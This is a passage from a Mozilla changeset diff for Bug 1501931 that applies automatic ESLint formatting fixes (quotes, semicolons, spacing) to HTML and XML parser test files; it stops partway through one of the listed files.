Bug 1501931 - Enable ESLint for parser/ (automatic fixes) r=Standard8,mrbkap
authorreimu <r2hkri@gmail.com>
Thu, 06 Dec 2018 20:34:29 +0000
changeset 449547 f456b3dd43c03e83efad3b4d4af480f720e764f5
parent 449546 77a63b4f08a34a7b283a77fff91a589e5702f9db
child 449548 7c02d6c28133994b30e2dd8ee3ae43e3d0cbd23f
push id35171
push userrmaries@mozilla.com
push dateFri, 07 Dec 2018 09:27:28 +0000
treeherdermozilla-central@6725a7f43bae [default view] [failures only]
perfherder[talos] [build metrics] [platform microbench] (compared to previous push)
reviewersStandard8, mrbkap
bugs1501931
milestone65.0a1
first release with
nightly linux32
nightly linux64
nightly mac
nightly win32
nightly win64
last release without
nightly linux32
nightly linux64
nightly mac
nightly win32
nightly win64
Bug 1501931 - Enable ESLint for parser/ (automatic fixes) r=Standard8,mrbkap Differential Revision: https://phabricator.services.mozilla.com/D11920
parser/htmlparser/tests/mochitest/bug_502091_iframe.html
parser/htmlparser/tests/mochitest/file_img_picture_preload.html
parser/htmlparser/tests/mochitest/html5_tree_construction_exceptions.js
parser/htmlparser/tests/mochitest/iframe_bug599584.html
parser/htmlparser/tests/mochitest/parser_datreader.js
parser/htmlparser/tests/mochitest/parser_web_testrunner.js
parser/htmlparser/tests/mochitest/test_bug102699.html
parser/htmlparser/tests/mochitest/test_bug1104732.html
parser/htmlparser/tests/mochitest/test_bug1364399.html
parser/htmlparser/tests/mochitest/test_bug174351.html
parser/htmlparser/tests/mochitest/test_bug358797.html
parser/htmlparser/tests/mochitest/test_bug396568.html
parser/htmlparser/tests/mochitest/test_bug460437.xhtml
parser/htmlparser/tests/mochitest/test_bug502091.html
parser/htmlparser/tests/mochitest/test_bug552938-2.html
parser/htmlparser/tests/mochitest/test_bug563322.xhtml
parser/htmlparser/tests/mochitest/test_bug566879.html
parser/htmlparser/tests/mochitest/test_bug568470.html
parser/htmlparser/tests/mochitest/test_bug599584.html
parser/htmlparser/tests/mochitest/test_bug613662.html
parser/htmlparser/tests/mochitest/test_bug613662.xhtml
parser/htmlparser/tests/mochitest/test_bug639362.html
parser/htmlparser/tests/mochitest/test_bug655682.html
parser/htmlparser/tests/mochitest/test_bug672453.html
parser/htmlparser/tests/mochitest/test_bug688580.html
parser/htmlparser/tests/mochitest/test_bug688580.xhtml
parser/htmlparser/tests/mochitest/test_bug715739.html
parser/htmlparser/tests/mochitest/test_bug716579.html
parser/htmlparser/tests/mochitest/test_bug717180.html
parser/htmlparser/tests/mochitest/test_compatmode.html
parser/htmlparser/tests/mochitest/test_img_picture_preload.html
parser/htmlparser/tests/mochitest/test_xml_mislabeled.html
parser/xml/test/unit/results.js
parser/xml/test/unit/test_parser.js
parser/xml/test/unit/test_sanitizer.js
--- a/parser/htmlparser/tests/mochitest/bug_502091_iframe.html
+++ b/parser/htmlparser/tests/mochitest/bug_502091_iframe.html
@@ -2,16 +2,16 @@
 <head>
 <title>Crash [@ nsContentSink::ProcessHeaderData] with meta in innerHTML</title>
 </head>
 <body>
 <div id="testdiv">
   testdiv
   </div>
 <script>
-var x=document.createElement('div');
+var x = document.createElement("div");
 x.innerHTML = '<meta http-equiv="Content-Type" content="text/html;"></meta>';
 document.getElementById("testdiv").appendChild(x);
 </script>
 some text here
 </body>
 </html>
 
--- a/parser/htmlparser/tests/mochitest/file_img_picture_preload.html
+++ b/parser/htmlparser/tests/mochitest/file_img_picture_preload.html
@@ -34,17 +34,17 @@
     }
 
     // Send sync XHRs asking the sjs what images it's seen until we
     // see EXPECTED_PRELOADS images. (If this test is timing out, you broke
     // the preloader)
     var preloadedImages = [];
     while (preloadedImages.length < EXPECTED_PRELOADS) {
       var request = new XMLHttpRequest();
-      request.open('GET', "./file_img_picture_preload.sjs?status", false);
+      request.open("GET", "./file_img_picture_preload.sjs?status", false);
       request.send(null);
       is(request.status, 200, "Getting status from sjs helper should succeed");
       if (request.status === 200) {
         var preloadedImages = JSON.parse(request.responseText);
       }
     }
 
     // Ensure the DOM is still blocked on us before proceeding
@@ -137,17 +137,17 @@
         // Ensure we didn't preload two sources for the same image
         ok(preloadByName[split[0]] === undefined,
            "Should not have queried multiple sources for " + split[0] +
            " (got " + split[1] + ", already had " + preloadByName[split[0]] + ")");
         preloadByName[split[0]] = split[1];
       }
 
       // Check all images, ensure each one had a preload
-      var images = document.querySelectorAll('img');
+      var images = document.querySelectorAll("img");
       for (var img of images) {
         var imgName = img.id;
         if (img.currentSrc) {
           var split = img.currentSrc.split("?")[1].split(":");
           is(split[0], imgName,
              "image " + imgName + " source matches element id");
           is(split[1], preloadByName[imgName],
              "image " + imgName + " source should match preloaded source");
--- a/parser/htmlparser/tests/mochitest/html5_tree_construction_exceptions.js
+++ b/parser/htmlparser/tests/mochitest/html5_tree_construction_exceptions.js
@@ -1,13 +1,13 @@
 /*
  * These are the tests we don't pass. The test data comes from the .dat
  * files under html5lib_tree_construction/. Please see
  * html5lib_tree_construction/html5lib_license.txt for the license for these
  * tests.
  */
 var html5Exceptions = {
-  "<!doctype html><keygen><frameset>" : true, // Bug 101019
-  "<select><keygen>" : true, // Bug 101019
-  "<!DOCTYPE html><body><keygen>A" : true, // Bug 101019
-  "<p><table></p>" : true, // parser_web_testrunner.js uses srcdoc which forces quirks mode
-  "<p><table></table>" : true, // parser_web_testrunner.js uses srcdoc which forces quirks mode
-}
+  "<!doctype html><keygen><frameset>": true, // Bug 101019
+  "<select><keygen>": true, // Bug 101019
+  "<!DOCTYPE html><body><keygen>A": true, // Bug 101019
+  "<p><table></p>": true, // parser_web_testrunner.js uses srcdoc which forces quirks mode
+  "<p><table></table>": true, // parser_web_testrunner.js uses srcdoc which forces quirks mode
+};
--- a/parser/htmlparser/tests/mochitest/iframe_bug599584.html
+++ b/parser/htmlparser/tests/mochitest/iframe_bug599584.html
@@ -3,14 +3,14 @@
 <!--
 https://bugzilla.mozilla.org/show_bug.cgi?id=599584
 -->
 <head>
   <title>Iframe for Bug 599584</title>
 </head>
 <body>
 <script>
-document.getElementsByTagName("head")[0].innerHTML = '<meta http-equiv="Refresh" content="1; url=iframe_bug599584.html?navigated">'
+document.getElementsByTagName("head")[0].innerHTML = '<meta http-equiv="Refresh" content="1; url=iframe_bug599584.html?navigated">';
 parent.startTest();
 </script>
 </body>
 </html>
 
--- a/parser/htmlparser/tests/mochitest/parser_datreader.js
+++ b/parser/htmlparser/tests/mochitest/parser_datreader.js
@@ -1,33 +1,33 @@
 /* -*- indent-tabs-mode: nil; js-indent-level: 2 -*-
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
 
 /**
  * A test suite that runs WHATWG HTML parser tests.
- * The tests are from html5lib. 
+ * The tests are from html5lib.
  *
  * http://html5lib.googlecode.com/
  */
 
 /**
  * A few utility functions.
  */
 function log(entry) {
-    
+
 }
 
 function startsWith(s, s2) {
-  return s.indexOf(s2)==0;
+  return s.indexOf(s2) == 0;
 }
 
 function trimString(s) {
-  return(s.replace(/^\s+/,'').replace(/\s+$/,''));
+  return (s.replace(/^\s+/, "").replace(/\s+$/, ""));
 }
 
 /**
  * Parses an individual testcase into an array containing the input
  * string, a string representing the expected tree (DOM), and a list
  * of error messages.
  *
  * @param A string containing a single testcase
@@ -38,17 +38,17 @@ function parseTestcase(testcase) {
   /* check that the first non-empty, non-comment line is #data */
   for (var line of lines) {
     if (!line || startsWith(line, "##")) {
       continue;
     }
     if (line == "#data")
       break;
     log(lines);
-    throw "Unknown test format."
+    throw "Unknown test format.";
   }
 
   var input = [];
   var output = [];
   var errors = [];
   var fragment = [];
   var currentList = input;
   for (var line of lines) {
@@ -67,17 +67,17 @@ function parseTestcase(testcase) {
       currentList = output;
     } else if (line == "#document-fragment") {
       currentList = fragment;
     }
   }
   while (!output[output.length - 1]) {
     output.pop(); // zap trailing blank lines
   }
-  //logger.log(input.length, output.length, errors.length);
+  // logger.log(input.length, output.length, errors.length);
   return [input.join("\n"), output.join("\n"), errors, fragment[0]];
 }
 
 /**
  * A generator function that accepts a list of strings. Each list
  * member corresponds to the contents of a ".dat" file from the
  * html5lib test suite.
  *
@@ -89,56 +89,56 @@ function* test_parser(testlist) {
     tests = tests.filter(test => test).map(test => "#data\n" + test);
     for (var test of tests) {
       yield parseTestcase(test);
     }
   }
 }
 
 /**
- * Transforms a DOM document to a string matching the format in 
+ * Transforms a DOM document to a string matching the format in
  * the test cases.
  *
  * @param the DOM document
  */
 function docToTestOutput(doc) {
   var walker = doc.createTreeWalker(doc, NodeFilter.SHOW_ALL, null);
-  return addLevels(walker, "", "| ").slice(0,-1); // remove the last newline
+  return addLevels(walker, "", "| ").slice(0, -1); // remove the last newline
 }
 
 /**
  * Creates a walker for a fragment that skips over the root node.
  *
  * @param an element
  */
 function createFragmentWalker(elt) {
   return elt.ownerDocument.createTreeWalker(elt, NodeFilter.SHOW_ALL,
-    function (node) {
+    function(node) {
       return elt == node ? NodeFilter.FILTER_SKIP : NodeFilter.FILTER_ACCEPT;
     });
 }
 
 /**
  * Transforms the descendants of an element to a string matching the format
  * in the test cases.
  *
  * @param an element
  */
 function fragmentToTestOutput(elt) {
   var walker = createFragmentWalker(elt);
-  return addLevels(walker, "", "| ").slice(0,-1); // remove the last newline
+  return addLevels(walker, "", "| ").slice(0, -1); // remove the last newline
 }
 
 function addLevels(walker, buf, indent) {
-  if(walker.firstChild()) {
+  if (walker.firstChild()) {
     do {
       buf += indent;
       switch (walker.currentNode.nodeType) {
         case Node.ELEMENT_NODE:
-          buf += "<"
+          buf += "<";
           var ns = walker.currentNode.namespaceURI;
           if ("http://www.w3.org/1998/Math/MathML" == ns) {
             buf += "math ";
           } else if ("http://www.w3.org/2000/svg" == ns) {
             buf += "svg ";
           } else if ("http://www.w3.org/1999/xhtml" != ns) {
             buf += "otherns ";
           }
@@ -160,18 +160,18 @@ function addLevels(walker, buf, indent) 
                 name = "xmlns " + localName;
               } else {
                 name = "otherns " + localName;
               }
               valuesByName[name] = attrs[i].value;
             }
             var keys = Object.keys(valuesByName).sort();
             for (var i = 0; i < keys.length; ++i) {
-              buf += "\n" + indent + "  " + keys[i] + 
-                     "=\"" + valuesByName[keys[i]] +"\"";
+              buf += "\n" + indent + "  " + keys[i] +
+                     "=\"" + valuesByName[keys[i]] + "\"";
             }
           }
           break;
         case Node.DOCUMENT_TYPE_NODE:
           buf += "<!DOCTYPE " + walker.currentNode.name;
           if (walker.currentNode.publicId || walker.currentNode.systemId) {
             buf += " \"";
             buf += walker.currentNode.publicId;
@@ -194,14 +194,14 @@ function addLevels(walker, buf, indent) 
       // as children of the template content (which is a document fragment).
       if (walker.currentNode instanceof HTMLTemplateElement) {
         buf += indent + "  content\n";
         // Walk through the template content.
         var templateWalker = createFragmentWalker(walker.currentNode.content);
         buf = addLevels(templateWalker, buf, indent + "    ");
       }
       buf = addLevels(walker, buf, indent + "  ");
-    } while(walker.nextSibling());
+    } while (walker.nextSibling());
     walker.parentNode();
   }
   return buf;
 }
 
--- a/parser/htmlparser/tests/mochitest/parser_web_testrunner.js
+++ b/parser/htmlparser/tests/mochitest/parser_web_testrunner.js
@@ -1,13 +1,13 @@
 /* -*- indent-tabs-mode: nil; js-indent-level: 2 -*-
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
- 
+
 /**
  * Runs html5lib-formatted test cases in the browser. Requires SimpleTest.
  *
  * Define an array named parserDatFiles before loading this script,
  * and it will load each of those dat files into an array, then run
  * the test parser on each and run the tests by assigning the input
  * data to an iframe's url.
  *
@@ -27,60 +27,60 @@ window.addEventListener("message", funct
 
 function asyncRun(fn) {
   functionsToRunAsync.push(fn);
   window.postMessage("async-run", "*");
 }
 
 function writeErrorSummary(input, expected, got, isTodo) {
   if (isTodo) {
-    $("display").appendChild(createEl('h2', null, "Unexpected Success:"));
+    $("display").appendChild(createEl("h2", null, "Unexpected Success:"));
   } else {
-    $("display").appendChild(createEl('h2', null, "Unexpected Failure:"));
+    $("display").appendChild(createEl("h2", null, "Unexpected Failure:"));
   }
-  $("display").appendChild(createEl('br'));
-  $("display").appendChild(createEl('span', null, "Matched: "));
+  $("display").appendChild(createEl("br"));
+  $("display").appendChild(createEl("span", null, "Matched: "));
   $("display").appendChild(document.createTextNode("" + (expected == got)));
-  var pre = createEl('pre');
+  var pre = createEl("pre");
   pre.appendChild(document.createTextNode("Input: \n" + input, "\n-\n"));
   pre.appendChild(document.createTextNode("Expected:\n" + expected, "\n-\n"));
   pre.appendChild(document.createTextNode("Output:\n" + got + "\n-\n"));
   $("display").appendChild(pre);
-  $("display").appendChild(createEl('hr'));
+  $("display").appendChild(createEl("hr"));
 }
 
 /**
  * Control will bounce back and forth between nextTest() and the
  * event handler returned by makeTestChecker() or the callback returned by
  * makeFragmentTestChecker() until the 'testcases' iterator is spent.
  */
 function makeTestChecker(input, expected, errors) {
-  return function (e) {
+  return function(e) {
     var domAsString = docToTestOutput(e.target.contentDocument);
     if (html5Exceptions[input]) {
       todo_is(domAsString, expected, "HTML5 expected success.");
       if (domAsString == expected) {
         writeErrorSummary(input, expected, domAsString, true);
       }
     } else {
       is(domAsString, expected, "HTML5 expected success.");
       if (domAsString != expected) {
         writeErrorSummary(input, expected, domAsString, false);
       }
     }
     nextTest(e.target);
-  } 
+  };
 }
 
-function makeFragmentTestChecker(input, 
-                                 expected, 
-                                 errors, 
-                                 fragment, 
+function makeFragmentTestChecker(input,
+                                 expected,
+                                 errors,
+                                 fragment,
                                  testframe) {
-  return function () {
+  return function() {
     var context;
     if (fragment.startsWith("svg ")) {
       context = document.createElementNS("http://www.w3.org/2000/svg",
                                          fragment.substring(4));
     } else if (fragment.startsWith("math ")) {
       context = document.createElementNS("http://www.w3.org/1998/Math/MathML",
                                          fragment.substring(5));
     } else {
@@ -89,46 +89,46 @@ function makeFragmentTestChecker(input,
     }
     context.innerHTML = input;
     var domAsString = fragmentToTestOutput(context);
     is(domAsString, expected, "HTML5 expected success. " + new Date());
     if (domAsString != expected) {
       writeErrorSummary(input, expected, domAsString, false);
     }
     nextTest(testframe);
-  } 
+  };
 }
 
 var testcases;
 function nextTest(testframe) {
   var test = 0;
   var {done, value} = testcases.next();
   if (done) {
     SimpleTest.finish();
     return;
   }
   var [input, output, errors, fragment] = value;
   if (fragment) {
-    asyncRun(makeFragmentTestChecker(input, 
-                                     output, 
-                                     errors, 
-                                     fragment, 
+    asyncRun(makeFragmentTestChecker(input,
+                                     output,
+                                     errors,
+                                     fragment,
                                      testframe));
   } else {
     testframe.onload = makeTestChecker(input, output, errors);
     testframe.srcdoc = input;
   }
 }
 
 var testFileContents = [];
 function loadNextTestFile() {
   var datFile = parserDatFiles.shift();
   if (datFile) {
     var xhr = new XMLHttpRequest();
-    xhr.onreadystatechange = function () {
+    xhr.onreadystatechange = function() {
       if (this.readyState == 4) {
         testFileContents.push(this.responseText);
         loadNextTestFile();
       }
     };
     xhr.open("GET", "html5lib_tree_construction/" + datFile);
     xhr.send();
   } else {
--- a/parser/htmlparser/tests/mochitest/test_bug102699.html
+++ b/parser/htmlparser/tests/mochitest/test_bug102699.html
@@ -21,19 +21,19 @@ https://bugzilla.mozilla.org/show_bug.cg
 /** Test for Bug 102699 **/
 
 SimpleTest.waitForExplicitFinish();
 
 var p = new DOMParser();
 
 var d = p.parseFromString(
 '<meta charset="windows-1252">' +
-'\u003cscript>' +
+"\u003cscript>" +
 'document.documentElement.setAttribute("data-fail", "FAIL");' +
-'\u003c/script>' +
+"\u003c/script>" +
 '\u003cscript src="http://mochi.test:8888/tests/parser/htmlparser/tests/mochitest/file_bug102699.sjs">\u003c/script>' +
 '\u003cscript src="http://mochi.test:8888/tests/parser/htmlparser/tests/mochitest/file_bug102699.sjs" defer>\u003c/script>' +
 '\u003cscript src="http://mochi.test:8888/tests/parser/htmlparser/tests/mochitest/file_bug102699.sjs" async>\u003c/script>' +
 '<link type="stylesheet" href="http://mochi.test:8888/tests/parser/htmlparser/tests/mochitest/file_bug102699.sjs">' +
 '<body onload=\'document.documentElement.setAttribute("data-fail", "FAIL");\'>' +
 '<img src="http://mochi.test:8888/tests/parser/htmlparser/tests/mochitest/file_bug102699.sjs">' +
 '<iframe src="http://mochi.test:8888/tests/parser/htmlparser/tests/mochitest/file_bug102699.sjs"></iframe>' +
 '<video poster="http://mochi.test:8888/tests/parser/htmlparser/tests/mochitest/file_bug102699.sjs" src="http://mochi.test:8888/tests/parser/htmlparser/tests/mochitest/file_bug102699.sjs"></video>' +
@@ -59,17 +59,17 @@ while (scripts.length) {
 var s = document.createElement("script");
 s.src = "file_bug102699.sjs?report=1";
 document.body.appendChild(s);
 
 function continueAfterReport() {
   ok(!d.documentElement.hasAttribute("data-fail"), "Should not have a data-fail attribute.");
 
   d = p.parseFromString("<!DOCTYPE html>", "text/html");
-  is(d.compatMode, "CSS1Compat", "Should be in the standards mode.");  
+  is(d.compatMode, "CSS1Compat", "Should be in the standards mode.");
 
   SimpleTest.finish();
 }
 
 </script>
 </pre>
 </body>
 </html>
--- a/parser/htmlparser/tests/mochitest/test_bug1104732.html
+++ b/parser/htmlparser/tests/mochitest/test_bug1104732.html
@@ -22,27 +22,27 @@ https://bugzilla.mozilla.org/show_bug.cg
   // Ideally, we would want to assert that it happens after DOMContentLoaded,
   // because it shouldn't be holding up DOMContentLoaded, but there is
   // no *guarantee* that this is the case, so we cannot assert it.
 
   var state = "Test starting";
   var asyncState = "not loaded";
   SimpleTest.waitForExplicitFinish();
   is(document.readyState, "loading", "Document should have been loading.");
-  document.addEventListener("DOMContentLoaded", function () {
+  document.addEventListener("DOMContentLoaded", function() {
     is(document.readyState, "interactive", "readyState should be interactive during DOMContentLoaded.");
     is(state, "defer", "Bad state upon DOMContentLoaded");
     state = "DOMContentLoaded";
     // This doesn't work (see above), but we can't "todo" this assertion either, because
     // it will sometimes be the case...
     // isnot(asyncState, "loaded", "Async script should not have delayed domcontentloaded");
   });
-  window.addEventListener("load", function () {
+  window.addEventListener("load", function() {
     is(document.readyState, "complete", "readyState should be complete during load.");
-    is(state, "DOMContentLoaded", "Bad state upon load")
+    is(state, "DOMContentLoaded", "Bad state upon load");
     state = "load";
     is(asyncState, "loaded", "Async script should be loaded upon document load event");
     SimpleTest.finish();
   });
   </script>
   <script defer src="file_defer_bug1104732.js"></script>
   <script async src="file_async_bug1104732.sjs"></script>
 </head>
--- a/parser/htmlparser/tests/mochitest/test_bug1364399.html
+++ b/parser/htmlparser/tests/mochitest/test_bug1364399.html
@@ -19,19 +19,19 @@ https://bugzilla.mozilla.org/show_bug.cg
 SimpleTest.waitForExplicitFinish();
 
 function done() {
   // document.write should have gotten ignored due to the
   // ignore-destructive-writes counter. Then document.close should
   // have gotten ignored due to the parser still being not-script-created.
   var iframe = document.getElementById("iframe");
   var divs = iframe.contentWindow.document.getElementsByTagName("div").length;
-  is(divs, 2, "<div>s are still there.")
+  is(divs, 2, "<div>s are still there.");
   var ps = iframe.contentWindow.document.getElementsByTagName("p").length;
-  is(ps, 0, "<p> did not get written.")
+  is(ps, 0, "<p> did not get written.");
   SimpleTest.finish();
 }
 
 </script>
 <div id="content" style="display: none">
   <iframe id='iframe' srcdoc="
     <div></div><div></div>
     <script defer src='data:application/javascript,document.write(&quot;<p></p>&quot;);parent.done();document.close();'></script>">
--- a/parser/htmlparser/tests/mochitest/test_bug174351.html
+++ b/parser/htmlparser/tests/mochitest/test_bug174351.html
@@ -11,21 +11,21 @@ https://bugzilla.mozilla.org/show_bug.cg
 <body>
 <a target="_blank" href="https://bugzilla.mozilla.org/show_bug.cgi?id=174351">Mozilla Bug 174351</a>
 <p id="display"></p>
 <div id="content" style="display: none">
 
 </div>
 <pre id="test">
 <script class="testbody" type="text/javascript">
-  var iframe = document.createElement('iframe');
+  var iframe = document.createElement("iframe");
   iframe.src = "invalidchar.xml";
-  iframe.onload = function () {
-    var doc = document.getElementById('test').childNodes[1].contentDocument;
+  iframe.onload = function() {
+    var doc = document.getElementById("test").childNodes[1].contentDocument;
     ok(doc.documentElement.tagName != "root", "Since XML has invalid enconding, must throw error");
   };
 
-  document.getElementById('test').appendChild(iframe);
+  document.getElementById("test").appendChild(iframe);
 </script>
 </pre>
 </body>
 </html>
 
--- a/parser/htmlparser/tests/mochitest/test_bug358797.html
+++ b/parser/htmlparser/tests/mochitest/test_bug358797.html
@@ -16,16 +16,16 @@ https://bugzilla.mozilla.org/show_bug.cg
 </div>
 <pre id="test">
 <script class="testbody" type="text/javascript">
 
 /** Test for Bug 358797 **/
 
 var range = document.createRange();
 range.selectNode(document.firstChild);
-var cf = range.createContextualFragment('<span></span>');
+var cf = range.createContextualFragment("<span></span>");
 ok(cf != null,
    "range.createContextualFragment() should work when range node is DocType");
 
 </script>
 </pre>
 </body>
 </html>
--- a/parser/htmlparser/tests/mochitest/test_bug396568.html
+++ b/parser/htmlparser/tests/mochitest/test_bug396568.html
@@ -31,17 +31,17 @@ https://bugzilla.mozilla.org/show_bug.cg
 
 /** Test for Bug 396568 **/
 
  var reached = false;
  try {
    noSuchIdentifier;
    reached = true;
  } catch (e) {
-   is(e.lineNumber, 36, "Unexpected line number"); //this line number is dependent on the line number of noSuchIdentifier
+   is(e.lineNumber, 36, "Unexpected line number"); // this line number is dependent on the line number of noSuchIdentifier
  }
  is(reached, false, "Exception needed to be thrown");
- 
+
 </script>
 </pre>
 </body>
 </html>
 
--- a/parser/htmlparser/tests/mochitest/test_bug460437.xhtml
+++ b/parser/htmlparser/tests/mochitest/test_bug460437.xhtml
@@ -16,24 +16,24 @@ https://bugzilla.mozilla.org/show_bug.cg
 <pre id="test">
 <script type="application/javascript">
 <![CDATA[
 
 SimpleTest.expectAssertions(1);
 
 /** Test for Bug 460437 **/
 
-var s = '<i>invalid</i';
+var s = "<i>invalid</i";
 try {
-  document.getElementById('test460437').innerHTML = s;
+  document.getElementById("test460437").innerHTML = s;
 } catch (e) {
 }
-is(document.getElementById('test460437').innerHTML, "", "setting invalid innerHTML should clear it");
-s = '<i>valid</i>';
-document.getElementById('test460437').innerHTML = s;
-is(document.getElementById('test460437').innerHTML, "<i xmlns=\"http://www.w3.org/1999/xhtml\">valid</i>", "failed to set valid innerHTML");
+is(document.getElementById("test460437").innerHTML, "", "setting invalid innerHTML should clear it");
+s = "<i>valid</i>";
+document.getElementById("test460437").innerHTML = s;
+is(document.getElementById("test460437").innerHTML, "<i xmlns=\"http://www.w3.org/1999/xhtml\">valid</i>", "failed to set valid innerHTML");
 
 
 ]]>
 </script>
 </pre>
 </body>
 </html>
--- a/parser/htmlparser/tests/mochitest/test_bug502091.html
+++ b/parser/htmlparser/tests/mochitest/test_bug502091.html
@@ -15,20 +15,20 @@ Adding a <meta> element by writing to in
 <p id="display"></p>
 <div id="content" style="display: none">
 
 </div>
 <div id="test">
 <script class="testbody" type="text/javascript">
   function $(id) { return document.getElementById(id); }
 
-  var iframe=document.createElement("iframe");
+  var iframe = document.createElement("iframe");
   iframe.setAttribute("id", "iframe");
   iframe.src = "bug_502091_iframe.html";
-  iframe.onload = function () {
+  iframe.onload = function() {
     var div = $("iframe").contentDocument.getElementById("testdiv");
     var meta = div.getElementsByTagName("meta");
     is(meta.length, 1, "meta element not added to div");
   };
   $("test").appendChild(iframe);
 
 </script>
 </div>
--- a/parser/htmlparser/tests/mochitest/test_bug552938-2.html
+++ b/parser/htmlparser/tests/mochitest/test_bug552938-2.html
@@ -13,17 +13,17 @@ https://bugzilla.mozilla.org/show_bug.cg
 <a target="_blank" href="https://bugzilla.mozilla.org/show_bug.cgi?id=552938">Mozilla Bug 552938</a>
 <script>
 var svgLoadFired = false;
 </script>
 <p id="display"></p>
 <div id="content" style="display: none">
   <svg>
     <script>
-       document.getElementsByTagName("svg")[0].addEventListener("SVGLoad", 
+       document.getElementsByTagName("svg")[0].addEventListener("SVGLoad",
          function() { svgLoadFired = true; });
     </script>
   </svg>
 </div>
 <pre id="test">
 <script class="testbody" type="text/javascript">
 
 /** Test for Bug 552938 **/
--- a/parser/htmlparser/tests/mochitest/test_bug563322.xhtml
+++ b/parser/htmlparser/tests/mochitest/test_bug563322.xhtml
@@ -15,17 +15,17 @@ https://bugzilla.mozilla.org/show_bug.cg
 </div>
 <pre id="test">
 <script type="application/javascript">
 <![CDATA[
 
 /** Test for Bug 563322 **/
 
 var div = document.createElementNS("http://www.w3.org/1999/xhtml", "div");
-div.innerHTML = "<script>ok(false, 'Script ran but should not have')</script><script>ok(false, 'Script ran but should not have')</script>"
+div.innerHTML = "<script>ok(false, 'Script ran but should not have')</script><script>ok(false, 'Script ran but should not have')</script>";
 
 document.getElementById("content").appendChild(div);
 
 ok(true, "Keep the harness happy");
 
 ]]>
 </script>
 </pre>
--- a/parser/htmlparser/tests/mochitest/test_bug566879.html
+++ b/parser/htmlparser/tests/mochitest/test_bug566879.html
@@ -24,36 +24,36 @@ https://bugzilla.mozilla.org/show_bug.cg
 <option value=foo>Foo</option>
 <option value=bar selected>Bar</option>
 </select>
 </form>  
 </div>
 <pre id="test">
 <script class="testbody" type="text/javascript">
 function runTest() {
-  initialState = document.getElementById('content').innerHTML;
-  document.getElementById('textfield').value = "foo";
-  document.getElementById('checkbox').checked = true;
-  document.getElementById('radio2').checked = true;
-  document.getElementById('textarea').value = "foo";
-  document.getElementById('select').value = "foo";
+  initialState = document.getElementById("content").innerHTML;
+  document.getElementById("textfield").value = "foo";
+  document.getElementById("checkbox").checked = true;
+  document.getElementById("radio2").checked = true;
+  document.getElementById("textarea").value = "foo";
+  document.getElementById("select").value = "foo";
   setTimeout(continuation1, 1);
 }
 
 function continuation1() {
-  document.getElementById('content').innerHTML = initialState;
+  document.getElementById("content").innerHTML = initialState;
   setTimeout(continuation2, 1);
 }
 
 function continuation2() {
-  is(document.getElementById('textfield').value, "", "The text field should have gone back to its initial state.");
-  ok(!document.getElementById('checkbox').checked, "The checkbox should have gone back to its initial state.");
-  ok(!document.getElementById('radio2').checked, "The second radio button should have gone back to its initial state.");
-  is(document.getElementById('textarea').value, "", "The text area should have gone back to its initial state.");
-  is(document.getElementById('select').value, "bar", "The select should have gone back to its initial state.");
+  is(document.getElementById("textfield").value, "", "The text field should have gone back to its initial state.");
+  ok(!document.getElementById("checkbox").checked, "The checkbox should have gone back to its initial state.");
+  ok(!document.getElementById("radio2").checked, "The second radio button should have gone back to its initial state.");
+  is(document.getElementById("textarea").value, "", "The text area should have gone back to its initial state.");
+  is(document.getElementById("select").value, "bar", "The select should have gone back to its initial state.");
   SimpleTest.finish();
 }
 
 SimpleTest.waitForExplicitFinish();
 SimpleTest.requestFlakyTimeout("untriaged");
 </script>
 </pre>
 </body>
--- a/parser/htmlparser/tests/mochitest/test_bug568470.html
+++ b/parser/htmlparser/tests/mochitest/test_bug568470.html
@@ -13,26 +13,26 @@ https://bugzilla.mozilla.org/show_bug.cg
 <a target="_blank" href="https://bugzilla.mozilla.org/show_bug.cgi?id=568470">Mozilla Bug 568470</a>
 <p id="display"></p>
 <pre id="test">
 <script class="testbody" type="text/javascript">
 /** Test for Bug 568470 **/
 SimpleTest.waitForExplicitFinish();
 
 // assuming the test runs in less than a year...
-var time = new Date().getTime() + 1000*60*60*24*365;
+var time = new Date().getTime() + 1000 * 60 * 60 * 24 * 365;
 
 var interval = setInterval(function() {
   var iframe = document.getElementsByTagName("iframe")[0];
   if (iframe) {
     var doc = iframe.contentDocument;
     if (doc) {
       if (doc.getElementById("flushable")) {
         time = new Date();
-        clearInterval(interval);        
+        clearInterval(interval);
       }
     }
   }
 }, 25);
 
 function finish() {
   clearInterval(interval);
   var elapsed = new Date().getTime() - time;
--- a/parser/htmlparser/tests/mochitest/test_bug599584.html
+++ b/parser/htmlparser/tests/mochitest/test_bug599584.html
@@ -24,17 +24,17 @@ SimpleTest.requestFlakyTimeout("untriage
 var alreadyRan = false;
 
 function startTest() {
   if (alreadyRan) {
     // Make the test finish only once when it fails.
     return;
   }
   alreadyRan = true;
-  setTimeout(function () {
+  setTimeout(function() {
     var iframe = document.getElementsByTagName("iframe")[0];
     is(iframe.contentWindow.location.search, "", "Should not have navigated with query string.");
     SimpleTest.finish();
   }, 1500);
 }
 
 </script>
 </pre>
--- a/parser/htmlparser/tests/mochitest/test_bug613662.html
+++ b/parser/htmlparser/tests/mochitest/test_bug613662.html
@@ -94,17 +94,17 @@ var events = [
   [ "DOMNodeInserted", content2 ],
   [ "DOMNodeInserted", content2 ],
   [ "DOMSubtreeModified", null ],
   [ "DOMNodeInserted", content2 ],
   [ "DOMNodeInserted", content2 ],
   [ "DOMSubtreeModified", null ],
   [ "DOMNodeInserted", document.body ],
   [ "DOMNodeInserted", document.body ],
-  [ "DOMSubtreeModified", null ]
+  [ "DOMSubtreeModified", null ],
 ];
 
 function mutationEventListener(evt) {
   var expected = events.shift();
   is(evt.type, expected[0], "Unexpected mutation type");
   is(evt.relatedNode, expected[1], "Unexpected related node");
 }
 /*
--- a/parser/htmlparser/tests/mochitest/test_bug613662.xhtml
+++ b/parser/htmlparser/tests/mochitest/test_bug613662.xhtml
@@ -95,17 +95,17 @@ var events = [
   [ "DOMNodeInserted", content2 ],
   [ "DOMNodeInserted", content2 ],
   [ "DOMSubtreeModified", null ],
   [ "DOMNodeInserted", content2 ],
   [ "DOMNodeInserted", content2 ],
   [ "DOMSubtreeModified", null ],
   [ "DOMNodeInserted", document.body ],
   [ "DOMNodeInserted", document.body ],
-  [ "DOMSubtreeModified", null ]
+  [ "DOMSubtreeModified", null ],
 ];
 
 function mutationEventListener(evt) {
   var expected = events.shift();
